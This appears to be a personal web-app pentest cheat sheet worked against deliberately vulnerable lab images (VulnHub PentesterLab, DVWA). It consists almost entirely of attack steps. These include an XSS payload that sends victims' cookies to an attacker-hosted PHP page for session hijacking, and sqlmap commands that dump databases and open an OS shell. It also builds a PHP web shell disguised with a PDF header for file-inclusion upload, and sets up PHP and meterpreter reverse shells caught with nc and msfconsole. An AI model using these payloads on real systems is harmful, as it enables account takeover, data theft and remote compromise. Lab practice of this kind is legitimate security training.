Web APP Exploitation:

#download and install xss and mysql file on vulnhub

https://www.vulnhub.com/entry/pentester-lab-xss-and-mysql-file,66/

Cross-Site Scripting (XXS)

#netdiscover

#browse website ip on browser and submit XSS code

#<script>alert('XSS')</script>

#nano index.php

<?php

$cookie = isset($_GET["test"])?$_GET['test']:"";

?>

#service apahce2 stop

#php -S 192.x.x.x:80[setup ip]

#browse victim's web and submit XSS code

<script>location.href='http://192.x.x.x/index.php?test='+document.cookie;</script>

#copy session ID from victim web

#go cookies manager+ from browser add-on

#use cookie manager and replace session ID on admin page

#GOTACHA NOW!!!

SQL Injection

#https://pentestlab.blog/2012/12/24/sql-injection-authentication-bypass-cheat-sheet/

#php -S kali'ip:80

#sqlmap -u "http://x.x.x.x/admin/edit.php?id=1" --cookie=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx

#sqlmap -u "http://x.x.x.x/admin/edit.php?id=1" --cookie=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx --dump

#sqlmap -u "http://x.x.x.x/admin/edit.php?id=1" --cookie=PHPSESSID=xxxxxxxxxxxxxxxxxxxxxxxxx --os-shell

Local File Inclusion(LFI)

https://www.vulnhub.com/entry/pentester-lab-php-include-and-post-exploitation,79/

#netdiscover -r 192.x.x.x/24

#nikto -h [ip]

#nano shell.pdf

%PDF-1.4

<?php

system($_GET["cmd"]);

?>

#upload this shell to submit form on Web.

#type URL

#192.x.x.x/index.php?page=uploads/shell.pdf%00&cmd=pwd

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

https://pentestmonkey.net/tools/web-shells/php-reverse-shell

#download php-reverse-shell

#edit header-> %PDF-1.4

#edit ip & port

#nc -nvlp 4444

#type Url

#192.x.x.x/index.php?page=uploads/shell2.pdf%00

#got a reverse shell!

Remote File Inclusion(RFI)

https://dvwa.co.uk/

#download and config security setting

#type url

#192.x.x.x:8080/vulnerabilities/fi/?page=http://google.com

#download php-reverse-shell from pentestermonkey

#cd /var/www/html

#msfvenom -p php/meterpreter/reverse_tcp LHOST=192.x.x.x LPORT=4444 >> exploit.php

#service apache2 stop

#python -m SimpleHTTPServer 80

#msfconsole

#set LHOST 192.x.x.x

#set LPORT 4444

#set payload php/meterpreter/reverse_tcp

#exploit

#192.x.x.x:8080/vulnerabilities/fi/?page=http://192.x.x.x/exploit.php

#got a meterpreter reverse shell!!!